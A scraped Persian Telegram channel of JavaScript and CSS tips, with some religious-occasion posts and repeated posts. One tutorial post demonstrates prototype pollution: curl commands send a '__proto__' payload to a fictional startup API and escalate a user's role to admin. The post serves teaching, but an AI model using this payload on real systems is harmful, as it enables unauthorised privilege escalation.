اختصارات منطقی در انتسابها در JavaScript 🤔
ECMAScript ۲۰۲۱ سه اپراتور مفید را اضافه کرده است:
✔️ انتساب
✔️ انتساب
✔️ انتساب
‼️ نکته مهم: چرا
به طور خلاصه: اپراتورهای اختصاری مقدار سمت چپ انتساب (LHS) را فقط یک بار محاسبه میکنند، در حالی که حالت
👩💻 مثال کمینه و قابل بازتولید:
➡️ در عبارت
نتیجه:
اپراتورهای
پیشنهاد استفاده:
⏺️
⏺️
⏺️
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
ECMAScript ۲۰۲۱ سه اپراتور مفید را اضافه کرده است:
✔️ انتساب
x ||= y
— اگر x
مقدار «فالس» داشته باشد → `x = y`؛✔️ انتساب
x ??= y
— اگر x
مقدار null
یا undefined
داشته باشد → x = y
(صفر، رشته خالی و false
حفظ میشوند)؛✔️ انتساب
x &&= y
— اگر x
مقدار «ترو» داشته باشد → x = y
.‼️ نکته مهم: چرا
x ||= y
و x = x || y
همیشه معادل هم نیستندبه طور خلاصه: اپراتورهای اختصاری مقدار سمت چپ انتساب (LHS) را فقط یک بار محاسبه میکنند، در حالی که حالت
x = x || y
ممکن است LHS را دو بار محاسبه کند. این مسئله زمانی مشکلساز میشود که LHS فقط یک متغیر ساده نباشد، بلکه یک عبارت شامل فراخوانیها، getterها یا کلیدهای محاسبهشده باشد.👩💻 مثال کمینه و قابل بازتولید:
let i = 0;
function getKey() { console.log('getKey'); return 'k' + (++i); }
const a = {};
a[getKey()] ||= 1; // getKey یک بار فراخوانی میشود — ایمن
i = 0;
const b = {};
b[getKey()] = b[getKey()] || 1; // getKey دو بار فراخوانی میشود — اثر جانبی!
➡️ در عبارت
b[...] = b[...] || 1`، `getKey()
ممکن است در فراخوانیهای مختلف کلیدهای متفاوت تولید کند یا اثرات جانبی دیگری داشته باشد — در نتیجه منطق برنامه خراب میشود. اما ||=
چنین خطری ندارد، چون ارجاع به b[getKey()]
فقط یک بار گرفته میشود.نتیجه:
اپراتورهای
||=
, ??=
و &&=
تنها «شیرینی سینتکسی» نیستند؛ بلکه روشی برای جلوگیری از باگهای پنهان هستند، به خصوص زمانی که LHS شامل عبارات با اثر جانبی است.پیشنهاد استفاده:
⏺️
??=
برای مقداردهی پیشفرض واقعی،⏺️
||=
برای زمانی که هر مقدار فالس مدنظر است،⏺️
&&=
برای بهروزرسانی شرطی. 👍#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
آشنایی با ویژگی rel در تگ <link> و تأثیر مقادیر آن بر رندر صفحه 🤨
تگ <link> برای اتصال منابع خارجی به سند HTML استفاده میشود.
ویژگی کلیدی این تگ، rel است که نوع ارتباط با منبع را مشخص میکند: این منابع میتوانند شامل استایلها، فونتها، آیکونها، مانیفستها و موارد دیگر باشند. نحوه پردازش این منابع توسط مرورگر کاملاً وابسته به مقدار این ویژگی است و همین موضوع به طور مستقیم بر رندر صفحه، سرعت بارگذاری و دسترسیپذیری آن تأثیر میگذارد. 👨🏫
در تصاویر بالا، من به تفصیل مقادیر اصلی ویژگی rel و تأثیر آنها بر عملکرد صفحه را بررسی کردهام. ⬆️
توصیههای کاربردی:
✔️ فونت و CSS های حیاتی را فوراً بارگذاری کنید (با stylesheet یا preload)؛
✔️ برای منابع از دامنههای دیگر از preconnect یا dns-prefetch استفاده کنید؛
✔️ منابع کماهمیتتر را میتوان به صورت غیرهمزمان بارگذاری کرد (prefetch).
نتیجهگیری:
استفاده از این تکنیکها به کاهش تاخیرها، کاهش اثر «پرش صفحه» (FOUC) و بهبود تجربه کاربری کمک میکند، بهویژه در دستگاههای موبایل.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
تگ <link> برای اتصال منابع خارجی به سند HTML استفاده میشود.
ویژگی کلیدی این تگ، rel است که نوع ارتباط با منبع را مشخص میکند: این منابع میتوانند شامل استایلها، فونتها، آیکونها، مانیفستها و موارد دیگر باشند. نحوه پردازش این منابع توسط مرورگر کاملاً وابسته به مقدار این ویژگی است و همین موضوع به طور مستقیم بر رندر صفحه، سرعت بارگذاری و دسترسیپذیری آن تأثیر میگذارد. 👨🏫
در تصاویر بالا، من به تفصیل مقادیر اصلی ویژگی rel و تأثیر آنها بر عملکرد صفحه را بررسی کردهام. ⬆️
توصیههای کاربردی:
✔️ فونت و CSS های حیاتی را فوراً بارگذاری کنید (با stylesheet یا preload)؛
✔️ برای منابع از دامنههای دیگر از preconnect یا dns-prefetch استفاده کنید؛
✔️ منابع کماهمیتتر را میتوان به صورت غیرهمزمان بارگذاری کرد (prefetch).
نتیجهگیری:
استفاده از این تکنیکها به کاهش تاخیرها، کاهش اثر «پرش صفحه» (FOUC) و بهبود تجربه کاربری کمک میکند، بهویژه در دستگاههای موبایل.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
This media is not supported in your browser
VIEW IN TELEGRAM
🖤شهادت امام حسن عسکری علیه السلام
💎 امام عسكرى عليهالسلام در بیانی به احمد بن اسحاق فرمود: ... اى احمدبناسحاق! مَثَل او در اين امت مثل خضر و مثل ذى القرنين است.
◼️به خدا سوگند هر آينه غيبتى خواهد نمود كه تنها كسانى كه خداوند آنان را بر قول به امامت او ثابت كرده و به دعا بر تعجيل فرجش موفق ساخته، هلاک نخواهند شد ...
🔗https://t.me/sadeghiyemohebbi/42863
🔗https://www.aparat.com/v/f275f0g
#️⃣#event
👥@IR_javascript_group
🆔@IR_javascript
💎 امام عسكرى عليهالسلام در بیانی به احمد بن اسحاق فرمود: ... اى احمدبناسحاق! مَثَل او در اين امت مثل خضر و مثل ذى القرنين است.
◼️به خدا سوگند هر آينه غيبتى خواهد نمود كه تنها كسانى كه خداوند آنان را بر قول به امامت او ثابت كرده و به دعا بر تعجيل فرجش موفق ساخته، هلاک نخواهند شد ...
🔗https://t.me/sadeghiyemohebbi/42863
🔗https://www.aparat.com/v/f275f0g
#️⃣#event
👥@IR_javascript_group
🆔@IR_javascript
❤11👎8🥰1
Vidbg.js
کتابخانه Vidbg.js برای ایجاد پسزمینههای ویدیویی تمامصفحه طراحی شده است. این ابزار مشکلات مقیاسبندی واکنشگرا را حل میکند و دارای مکانیزم تصویر جایگزین (fallback) برای دستگاههای موبایل است، جایی که اغلب پخش خودکار ویدیو محدود شده است.
🔗https://github.com/blakewilson/vidbg?tab=readme-ov-file
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
کتابخانه Vidbg.js برای ایجاد پسزمینههای ویدیویی تمامصفحه طراحی شده است. این ابزار مشکلات مقیاسبندی واکنشگرا را حل میکند و دارای مکانیزم تصویر جایگزین (fallback) برای دستگاههای موبایل است، جایی که اغلب پخش خودکار ویدیو محدود شده است.
var instance = new vidbg(
".vidbg-box",
{
mp4: "http://example.com/video.mp4", // URL or relative path to MP4 video
webm: "path/to/video.webm", // URL or relative path to webm video
poster: "path/to/fallback.jpg", // URL or relative path to fallback image
overlay: false, // Boolean to display the overlay or not
overlayColor: "#000", // The overlay color as a HEX
overlayAlpha: 0.3, // The overlay alpha. Think of this as the last integer in RGBA()
},
{
// Attributes
}
);
🔗https://github.com/blakewilson/vidbg?tab=readme-ov-file
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
👍2
چهکار کنیم وقتی خطاها به هم مرتبط هستند؟ 🤨
ما اغلب با خطاهایی در کد مواجه میشویم. اما اگر خطا تنها خود خطا نباشد و نتیجه خطای دیگری باشد، چه باید کرد؟
در JavaScript از سپتامبر سال دو هزار و بیست و یک، ابزاری برای مدیریت چنین مواردی معرفی شده است: `cause`. بیایید ببینیم چگونه میتوان با آن کار کرد. 😁
📚 \`cause\`\` چیست؟
مثال استفاده:
در اینجا ما یک خطای جدید ایجاد میکنیم و خطای اولیه را در `cause` قرار میدهیم. این کمک میکند بفهمیم چه چیزی منجر به مشکل جدید شده است.
چه زمانی مفید است؟ 🤔
✔️ برای پاکیزگی کد: به جای دستکاریهای پیچیده در stack، یک راه ساده و قابل فهم.
✔️ برای اشکالزدایی: مشخص میشود که یک خطا چگونه به خطای دیگر منجر شده است و این کار باعث سرعت یافتن علت مشکل میشود.
نمونه خروجی:
در نهایت، پارامتر `cause` به مرتبط کردن خطاها کمک میکند**، که باعث کاهش «سر و صدای اضافی» در کد و **سرعت بخشیدن به فرآیند شناسایی و رفع مشکلات میشود. 👍
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
ما اغلب با خطاهایی در کد مواجه میشویم. اما اگر خطا تنها خود خطا نباشد و نتیجه خطای دیگری باشد، چه باید کرد؟
در JavaScript از سپتامبر سال دو هزار و بیست و یک، ابزاری برای مدیریت چنین مواردی معرفی شده است: `cause`. بیایید ببینیم چگونه میتوان با آن کار کرد. 😁
📚 \`cause\`\` چیست؟
cause
یک پارامتر است که به شما اجازه میدهد مشخص کنید کدام خطا منجر به خطای فعلی شده است. این کار اشکالزدایی و تشخیص مشکل را سادهتر میکند و یک زنجیره واضح از خطاها ایجاد میکند.مثال استفاده:
try {
throw new Error("بارگذاری فایل موفق نبود");
} catch (err) {
throw new Error("خطا در پردازش درخواست", { cause: err });
}
در اینجا ما یک خطای جدید ایجاد میکنیم و خطای اولیه را در `cause` قرار میدهیم. این کمک میکند بفهمیم چه چیزی منجر به مشکل جدید شده است.
چه زمانی مفید است؟ 🤔
✔️ برای پاکیزگی کد: به جای دستکاریهای پیچیده در stack، یک راه ساده و قابل فهم.
✔️ برای اشکالزدایی: مشخص میشود که یک خطا چگونه به خطای دیگر منجر شده است و این کار باعث سرعت یافتن علت مشکل میشود.
نمونه خروجی:
Error: خطا در پردازش درخواست
at <anonymous>:4:9
Caused by: Error: بارگذاری فایل موفق نبود
at <anonymous>:2:9
در نهایت، پارامتر `cause` به مرتبط کردن خطاها کمک میکند**، که باعث کاهش «سر و صدای اضافی» در کد و **سرعت بخشیدن به فرآیند شناسایی و رفع مشکلات میشود. 👍
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👍1👎1
Screencast of the different caret-shape possible values.webm
960.6 KB
نحو تعریف ویژگی caret-shape بسیار ساده است:
caret-shape: auto | bar | block | underscore;
مقدار اولیه auto است، که به مرورگر اجازه میدهد شکل نشانگر را بر اساس استانداردهای پلتفرم در موقعیتهای مختلف تعیین کند. اما تا کنون همیشه از نشانگر خط عمودی (|) استفاده شده است.
شما میتوانید نشانگر بلوک (█) یا زیرخط (_) را انتخاب کنید، که برای برخی اپلیکیشنها مانند ویرایشگر کد کاربردی و جلوهای جذاب دارد.
#️⃣#tip #css
👥@IR_javascript_group
🆔@IR_javascript
caret-shape: auto | bar | block | underscore;
مقدار اولیه auto است، که به مرورگر اجازه میدهد شکل نشانگر را بر اساس استانداردهای پلتفرم در موقعیتهای مختلف تعیین کند. اما تا کنون همیشه از نشانگر خط عمودی (|) استفاده شده است.
شما میتوانید نشانگر بلوک (█) یا زیرخط (_) را انتخاب کنید، که برای برخی اپلیکیشنها مانند ویرایشگر کد کاربردی و جلوهای جذاب دارد.
#️⃣#tip #css
👥@IR_javascript_group
🆔@IR_javascript
Dragscroll
اسکرول محتوا با موس اغلب محدود به استفاده از نوارهای اسکرول استاندارد است. کتابخانه dragscroll رفتار اسکرول با کشیدن (drag) را به رابطهای دسکتاپ اضافه میکند، رفتاری که کاربران در دستگاههای لمسی به آن عادت دارند.
این ابزار برای گالریها، نقشهها یا هر کانتینری با اسکرول افقی بسیار مفید خواهد بود.
🔗http://asvd.github.io/dragscroll/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
اسکرول محتوا با موس اغلب محدود به استفاده از نوارهای اسکرول استاندارد است. کتابخانه dragscroll رفتار اسکرول با کشیدن (drag) را به رابطهای دسکتاپ اضافه میکند، رفتاری که کاربران در دستگاههای لمسی به آن عادت دارند.
این ابزار برای گالریها، نقشهها یا هر کانتینری با اسکرول افقی بسیار مفید خواهد بود.
🔗http://asvd.github.io/dragscroll/
#️⃣#npm_module
👥@IR_javascript_group
🆔@IR_javascript
آیا میدانستید که واژهی روزمرهی «جاوااسکریپت» در واقع بهعنوان یک علامت تجاری در مالکیت شرکت Oracle است؟
این یعنی استفاده از واژهی «جاوااسکریپت» برای توصیف کارتان، محصولتان یا حتی یک کنفرانس میتواند ریسک حقوقی به همراه داشته باشد. به همین دلیل گاهی اصطلاح ثقیل «ECMAScript» را میبینیم؛ چون یک شرکت انحصار حقوقی بر زبانی را ادعا میکند که میلیاردها نفر هر روز به آن متکی هستند.
اوراکل این علامت تجاری را از شرکت Sun Microsystems به ارث برد؛ یادگاری از یک تلاش شکستخورده برای همبرندسازی با «جاوا». اما اکنون، پس از گذشت بیستوپنج سال، «جاوااسکریپت» دیگر یک برند نیست، بلکه نام عمومی محبوبترین زبان برنامهنویسی جهان است که در سراسر وب استفاده میشود. اوراکل نه آن را ساخته، نه نگهداری میکند و نه حتی از آن استفاده دارد، اما همچنان نامش را تصاحب کرده، گویی محصول خود اوست.
🔗https://javascript.tm/
👥@IR_javascript_group
🆔@IR_javascript
این یعنی استفاده از واژهی «جاوااسکریپت» برای توصیف کارتان، محصولتان یا حتی یک کنفرانس میتواند ریسک حقوقی به همراه داشته باشد. به همین دلیل گاهی اصطلاح ثقیل «ECMAScript» را میبینیم؛ چون یک شرکت انحصار حقوقی بر زبانی را ادعا میکند که میلیاردها نفر هر روز به آن متکی هستند.
اوراکل این علامت تجاری را از شرکت Sun Microsystems به ارث برد؛ یادگاری از یک تلاش شکستخورده برای همبرندسازی با «جاوا». اما اکنون، پس از گذشت بیستوپنج سال، «جاوااسکریپت» دیگر یک برند نیست، بلکه نام عمومی محبوبترین زبان برنامهنویسی جهان است که در سراسر وب استفاده میشود. اوراکل نه آن را ساخته، نه نگهداری میکند و نه حتی از آن استفاده دارد، اما همچنان نامش را تصاحب کرده، گویی محصول خود اوست.
🔗https://javascript.tm/
👥@IR_javascript_group
🆔@IR_javascript
JavaScript™
We need your help to continue our fight over Oracle's claim to the JavaScript trademark. Here's where we are now and what you can do to help.
❤1
آلودگی پروتوتایپ (Prototype Pollution)
تعریف:
آلودگی پروتوتایپ یک حمله تزریقی است که محیطهای اجرای JavaScript را هدف میگیرد. در این نوع حمله، مهاجم میتواند مقادیر پیشفرض ویژگیهای یک شیء را کنترل کند. این امکان به مهاجم اجازه میدهد منطق برنامه را دستکاری کند و در موارد شدید منجر به انکار سرویس (DoS) یا حتی اجرای کد از راه دور شود.
فرض کنید یک شرکت به نام startup.io API خود را برای مدیریت دادههای کاربران ارائه کرده است. به دلیل محدودیت زمان و فشار سهامداران، تیم توسعه امنیت API را جدی نگرفته است و بسیاری از مشکلات گزارش شده توسط اسکنرهای امنیتی نادیده گرفته شدهاند. یکی از آسیبپذیریهای موجود، آلودگی پروتوتایپ است.
دو نقطه انتهایی API که اهمیت دارند:
POST https://api.startup.io/users/:userId برای بهروزرسانی دادههای کاربر
GET https://api.startup.io/users/:userId/role برای دریافت نقش امنیتی کاربر (admin یا user)
نمونه حمله: ارتقای دسترسی با آلودگی پروتوتایپ
ابتدا سعی میکنیم نقش خود را به admin تغییر دهیم:
نتیجه:
{ "role": "user" }
روش ساده کار نکرد، نقش همچنان user باقی ماند.
با استفاده از آلودگی پروتوتایپ و پیشوند جادویی proto میتوانیم به موفقیت برسیم:
نتیجه:
{ "role": "admin" }
BOOM! موفق شدیم با ارسال payload جادویی، نقش خود را به admin تغییر دهیم.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
تعریف:
آلودگی پروتوتایپ یک حمله تزریقی است که محیطهای اجرای JavaScript را هدف میگیرد. در این نوع حمله، مهاجم میتواند مقادیر پیشفرض ویژگیهای یک شیء را کنترل کند. این امکان به مهاجم اجازه میدهد منطق برنامه را دستکاری کند و در موارد شدید منجر به انکار سرویس (DoS) یا حتی اجرای کد از راه دور شود.
فرض کنید یک شرکت به نام startup.io API خود را برای مدیریت دادههای کاربران ارائه کرده است. به دلیل محدودیت زمان و فشار سهامداران، تیم توسعه امنیت API را جدی نگرفته است و بسیاری از مشکلات گزارش شده توسط اسکنرهای امنیتی نادیده گرفته شدهاند. یکی از آسیبپذیریهای موجود، آلودگی پروتوتایپ است.
دو نقطه انتهایی API که اهمیت دارند:
POST https://api.startup.io/users/:userId برای بهروزرسانی دادههای کاربر
GET https://api.startup.io/users/:userId/role برای دریافت نقش امنیتی کاربر (admin یا user)
نمونه حمله: ارتقای دسترسی با آلودگی پروتوتایپ
ابتدا سعی میکنیم نقش خود را به admin تغییر دهیم:
curl -H "Content-Type: application/json" -X POST -d '{"role": "admin"}' https://api.startup.io/users/1337 && curl -X GET https://api.startup.io/users/1337/role
نتیجه:
{ "role": "user" }
روش ساده کار نکرد، نقش همچنان user باقی ماند.
با استفاده از آلودگی پروتوتایپ و پیشوند جادویی proto میتوانیم به موفقیت برسیم:
curl -H "Content-Type: application/json" -X POST -d '{"about": {"__proto__": {"role": "admin"}}}' https://api.startup.io/users/1337 && curl -X GET https://api.startup.io/users/1337/role
نتیجه:
{ "role": "admin" }
BOOM! موفق شدیم با ارسال payload جادویی، نقش خود را به admin تغییر دهیم.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
# بارگذاری تنبل تصاویر پسزمینه با API
وقتی تصاویر خارج از صفحه (offscreen) را با ویژگی HTML
---
## API IntersectionObserver چیست؟
به همین دلیل، IntersectionObserver برای تشخیص ورود عناصر خارج از صفحه به محدوده دید کاربر و بارگذاری تنبل پسزمینهها بسیار مناسب است.
---
## مزایای استفاده از IntersectionObserver برای عملکرد وب
* این API به صورت غیرهمزمان خارج از thread اصلی اجرا میشود و بنابراین بار پردازشی کمتری نسبت به event listenerهای سنتی scroll دارد.
* قبل از آن، توسعهدهندگان برای lazy load مجبور بودند event listenerهای scroll، resize و غیره را به صورت دستی اضافه کنند که باعث افزایش بار پردازشی و کندی مرورگر میشد.
* IntersectionObserver از thread ترکیب (compositor thread) مرورگر استفاده میکند و تغییرات تقاطع نزدیک به هم را در یک callback گروهبندی میکند، بنابراین از محاسبات تکراری DOM جلوگیری میشود.
نتیجه: مصرف CPU کمتر، اسکرول روانتر و تجربه کاربری بهتر.
---
## مراحل پیادهسازی بارگذاری تنبل پسزمینه
### ۱. علامتگذاری عناصر خارج از صفحه با کلاس
* عناصر با کلاس
* تصاویر اولیه (مثلاً دو تصویر اول) با
---
### ۲. جایگزینی تصویر پسزمینه با رنگ پیشفرض در CSS
* رنگ خاکستری به عنوان placeholder استفاده میشود.
* با حذف کلاس
* ویژگی
---
### ۳. مشاهده تقاطع عناصر با viewport در JavaScript
*
*
*
---
### ۴. پشتیبانی از کاربران بدون JavaScript
* برای کاربرانی که JavaScript غیرفعال دارند، تصاویر پسزمینه بارگذاری و نمایش داده میشوند.
* توجه: در این حالت، بارگذاری تنبل فعال نمیشود و تصاویر در ابتدا دانلود میشوند.
---
## جمعبندی
* IntersectionObserver یک روش مدرن و بهینه برای lazy load تصاویر پسزمینه است.
* کاهش حجم اولیه صفحه، افزایش سرعت بارگذاری و بهبود Core Web Vitals از مزایای آن است.
* این روش با استفاده از thread ترکیب مرورگر و اجرای غیرهمزمان، از بلاک شدن thread اصلی جلوگیری میکند و تجربه کاربری روانتری ایجاد میکند.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
IntersectionObserver
وقتی تصاویر خارج از صفحه (offscreen) را با ویژگی HTML
loading
بارگذاری تنبل (lazy) میکنیم، کار سادهای است. اما برای تصاویر پسزمینه که با CSS اضافه شدهاند، کمی پیچیدهتر است. در این حالت باید با JavaScript تشخیص دهیم که چه زمانی این تصاویر به دید کاربر نزدیک میشوند تا بارگذاری آنها آغاز شود.---
## API IntersectionObserver چیست؟
IntersectionObserver
یک API بومی وب است که در مرورگرهای مدرن پشتیبانی میشود. این API به شما امکان میدهد تا به صورت غیرهمزمان (asynchronously) بررسی کنید که آیا یک عنصر HTML با یکی از والدینش، مانند viewport، در حال تقاطع (intersect) است یا خیر.به همین دلیل، IntersectionObserver برای تشخیص ورود عناصر خارج از صفحه به محدوده دید کاربر و بارگذاری تنبل پسزمینهها بسیار مناسب است.
---
## مزایای استفاده از IntersectionObserver برای عملکرد وب
* این API به صورت غیرهمزمان خارج از thread اصلی اجرا میشود و بنابراین بار پردازشی کمتری نسبت به event listenerهای سنتی scroll دارد.
* قبل از آن، توسعهدهندگان برای lazy load مجبور بودند event listenerهای scroll، resize و غیره را به صورت دستی اضافه کنند که باعث افزایش بار پردازشی و کندی مرورگر میشد.
* IntersectionObserver از thread ترکیب (compositor thread) مرورگر استفاده میکند و تغییرات تقاطع نزدیک به هم را در یک callback گروهبندی میکند، بنابراین از محاسبات تکراری DOM جلوگیری میشود.
نتیجه: مصرف CPU کمتر، اسکرول روانتر و تجربه کاربری بهتر.
---
## مراحل پیادهسازی بارگذاری تنبل پسزمینه
### ۱. علامتگذاری عناصر خارج از صفحه با کلاس
deferred
<div class="bg-1"><p>CTA Area 01</p></div>
<div class="bg-2"><p>CTA Area 02</p></div>
<div class="bg-3"><p>CTA Area 03</p></div>
<div class="bg-4 deferred"><p>CTA Area 04</p></div>
<div class="bg-5 deferred"><p>CTA Area 05</p></div>
<!-- و به همین ترتیب -->
* عناصر با کلاس
deferred
از تصویر پسزمینه خالی استفاده میکنند و هنگام نزدیک شدن به viewport، تصاویر بارگذاری میشوند.* تصاویر اولیه (مثلاً دو تصویر اول) با
<link rel="preload">
از قبل بارگذاری میشوند تا LCP سریعتر شود.---
### ۲. جایگزینی تصویر پسزمینه با رنگ پیشفرض در CSS
.bg-1 {
background: #d6d6d6 url("images/flowers-01.jpg") no-repeat;
}
.deferred {
background-image: none;
}
* رنگ خاکستری به عنوان placeholder استفاده میشود.
* با حذف کلاس
deferred
توسط JavaScript، تصاویر پسزمینه واقعی بارگذاری و نمایش داده میشوند.* ویژگی
aspect-ratio
برای حفظ اندازه مشابه تصاویر استفاده میشود.---
### ۳. مشاهده تقاطع عناصر با viewport در JavaScript
document.addEventListener("DOMContentLoaded", () => {
const deferredElements = document.querySelectorAll(".deferred");
const elementObserver = new IntersectionObserver(
(entries, observer) => {
entries.forEach(entry => {
if (entry.isIntersecting) {
entry.target.classList.remove("deferred");
observer.unobserve(entry.target);
}
});
},
{
root: null,
rootMargin: "200px 0px",
threshold: 0,
}
);
deferredElements.forEach(el => elementObserver.observe(el));
});
*
root: null
→ viewport به عنوان ریشه*
rootMargin: "200px 0px"
→ شروع بارگذاری ۲۰۰px قبل از رسیدن عنصر به viewport*
threshold: 0
→ شروع بارگذاری به محض ورود جزئی عنصر---
### ۴. پشتیبانی از کاربران بدون JavaScript
<noscript>
<style>
.bg-4 { background-image: url(images/flowers-04.jpg); }
.bg-5 { background-image: url(images/flowers-05.jpg); }
.bg-6 { background-image: url(images/flowers-06.jpg); }
</style>
</noscript>
* برای کاربرانی که JavaScript غیرفعال دارند، تصاویر پسزمینه بارگذاری و نمایش داده میشوند.
* توجه: در این حالت، بارگذاری تنبل فعال نمیشود و تصاویر در ابتدا دانلود میشوند.
---
## جمعبندی
* IntersectionObserver یک روش مدرن و بهینه برای lazy load تصاویر پسزمینه است.
* کاهش حجم اولیه صفحه، افزایش سرعت بارگذاری و بهبود Core Web Vitals از مزایای آن است.
* این روش با استفاده از thread ترکیب مرورگر و اجرای غیرهمزمان، از بلاک شدن thread اصلی جلوگیری میکند و تجربه کاربری روانتری ایجاد میکند.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
راههای متعددی برای ریفرش یا بارگذاری مجدد صفحه وجود دارد و هر کدام میتوانند در موقعیتهای مختلف مفید باشند. برای مثال، اخیراً با یک منبع اینترنتی برخورد کردم که لیستی کامل از روشهای مختلف ریفرش صفحه با JavaScript ارائه کرده است: phpied.com
👀
به جای اینکه در صدها روش غرق شویم، بهتر است روی سه روش اصلی و پرکاربرد تمرکز کنیم که بیشترین کنترل را روی ناوبری و بهروزرسانی صفحه ارائه میدهند:
# ریفرش صفحه در JavaScript
### ۱.
متد
---
### ۲.
متد
---
### ۳.
متد
* بدون پارامتر: صفحه با توجه به کش مرورگر بارگذاری میشود
* با پارامتر
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
👀
به جای اینکه در صدها روش غرق شویم، بهتر است روی سه روش اصلی و پرکاربرد تمرکز کنیم که بیشترین کنترل را روی ناوبری و بهروزرسانی صفحه ارائه میدهند:
# ریفرش صفحه در JavaScript
### ۱.
location.assign(url)
— رفتن به URL جدیدمتد
assign()
برای ناوبری به یک URL جدید استفاده میشود و صفحه جاری را در تاریخچه مرورگر نگه میدارد. یعنی بعد از رفتن به URL جدید، کاربر میتواند با دکمه «بازگشت» به صفحه قبلی برگردد.location.assign('https://example.com');
---
### ۲.
location.replace(url)
— رفتن بدون ذخیره در تاریخچهمتد
replace()
شبیه assign()
است، اما صفحه فعلی را در تاریخچه مرورگر ذخیره نمیکند. بنابراین بعد از رفتن به URL جدید، با دکمه «بازگشت» نمیتوان به صفحه قبلی بازگشت.location.replace('https://example.com');
---
### ۳.
location.reload()
— بارگذاری مجدد صفحه جاریمتد
reload()
برای ریفرش یا بارگذاری مجدد صفحه جاری استفاده میشود.* بدون پارامتر: صفحه با توجه به کش مرورگر بارگذاری میشود
* با پارامتر
true
: کش نادیده گرفته شده و صفحه دوباره از سرور بارگذاری میشودlocation.reload(); // بارگذاری مجدد با کش
location.reload(true); // بارگذاری مجدد بدون کش
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
❤1👍1
# استفاده از Custom Highlight API در مرورگرها
اخیراً متوجه شدم که Firefox 140 (ژوئن ۲۰۲۵) از Custom Highlight API پشتیبانی میکند، و حالا این ویژگی روی تمام مرورگرهای اصلی در دسترس است. با این API میتوان به متنهایی که در JavaScript با کلاس
برای درک ساده، مراحل اصلی به این صورت است:
1. یک textNode انتخاب کنید.
2. یک Range بسازید و محدودهی شروع و پایان آن را مشخص کنید:
3. با `CSS.highlights.set()`، این Range را به یک نام هایلایت متصل کنید:
4. در CSS با
---
## مثال عملی: هایلایت یک کلمه
در DevTools میتوان دید که کلمه
---
## چرا مفید است؟
* استایل بدون دستکاری DOM: نیازی به اضافه کردن
* کاهش هزینههای محاسباتی: اضافه کردن و حذف
* قابلیت هایلایت چند محدودهای: یک Highlight میتواند چند Range را پوشش دهد، که برای مثال میتوان برای ایجاد یک سیستم جستجو روی متن کاربرد دارد.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
اخیراً متوجه شدم که Firefox 140 (ژوئن ۲۰۲۵) از Custom Highlight API پشتیبانی میکند، و حالا این ویژگی روی تمام مرورگرهای اصلی در دسترس است. با این API میتوان به متنهایی که در JavaScript با کلاس
Range()
به دست میآوریم، استایل دلخواه اعمال کرد.برای درک ساده، مراحل اصلی به این صورت است:
1. یک textNode انتخاب کنید.
const textNode = document.querySelector("p").firstChild;
2. یک Range بسازید و محدودهی شروع و پایان آن را مشخص کنید:
const range = new Range();
range.setStart(textNode, startIndex);
range.setEnd(textNode, endIndex);
3. با `CSS.highlights.set()`، این Range را به یک نام هایلایت متصل کنید:
const highlight = new Highlight(range);
CSS.highlights.set("our-highlight", highlight);
4. در CSS با
::highlight(name)
آن را استایل دهید:::highlight(our-highlight) {
background-color: yellow;
}
---
## مثال عملی: هایلایت یک کلمه
const WORD_TO_HIGHLIGHT = "wisdom";
const NAME_OF_HIGHLIGHT = "our-highlight";
const textNode = document.querySelector("p").firstChild;
const textContent = textNode.textContent;
const startIndex = textContent.indexOf(WORD_TO_HIGHLIGHT);
const endIndex = startIndex + WORD_TO_HIGHLIGHT.length;
const range = new Range();
range.setStart(textNode, startIndex);
range.setEnd(textNode, endIndex);
const highlight = new Highlight(range);
CSS.highlights.set(NAME_OF_HIGHLIGHT, highlight);
در DevTools میتوان دید که کلمه
"wisdom"
با CSS استایل داده شده، بدون اینکه هیچ المنتی در اطراف آن اضافه شود.---
## چرا مفید است؟
* استایل بدون دستکاری DOM: نیازی به اضافه کردن
<span>
یا عناصر دیگر نیست، که باعث کاهش وزن DOM و بهبود عملکرد میشود.* کاهش هزینههای محاسباتی: اضافه کردن و حذف
<span>
میتواند باعث Reflow و Repaint شود و عملکرد UX را کند کند.* قابلیت هایلایت چند محدودهای: یک Highlight میتواند چند Range را پوشش دهد، که برای مثال میتوان برای ایجاد یک سیستم جستجو روی متن کاربرد دارد.
#️⃣#tip
👥@IR_javascript_group
🆔@IR_javascript
This media is not supported in your browser
VIEW IN TELEGRAM
🌸میلاد رسول مهربانیها پیامبر اعظم (ص)💚
و امام جعفر صادق (ع)💚
این نصیحت را استاد در کتاب آزادی معنوی (ص۲۰۵) از قول امام صادق علیه السلام نقل میکنند که البته این استناد در این کلیپ نیامده است.
🔗https://t.me/motahari_ir/4489
#️⃣#event
👥@IR_javascript_group
🆔@IR_javascript
و امام جعفر صادق (ع)💚
این نصیحت را استاد در کتاب آزادی معنوی (ص۲۰۵) از قول امام صادق علیه السلام نقل میکنند که البته این استناد در این کلیپ نیامده است.
🔗https://t.me/motahari_ir/4489
#️⃣#event
👥@IR_javascript_group
🆔@IR_javascript
❤7👎2
آیا شما هم هنوز برای استفاده از بکاسلش در رشتههای قالببندیشده، آن را دو بار تکرار میکنید؟ 🔍
چند روز پیش دیدم که شخصی در رشتههای قالببندیشده (template strings) برای کاراکترهای اِسکیپشده مثل
-----
### `String.raw` چیست؟
این متد به شما اجازه میدهد تا با رشتههای قالببندیشده به گونهای کار کنید که دنبالههای اِسکیپ (مانند
مثال:
به جای اینکه هر بکاسلش یا کاراکتر خط جدید را دو بار اِسکیپ کنید، همانطور که در یک رشته معمولی لازم بود:
-----
### مزایای `String.raw`
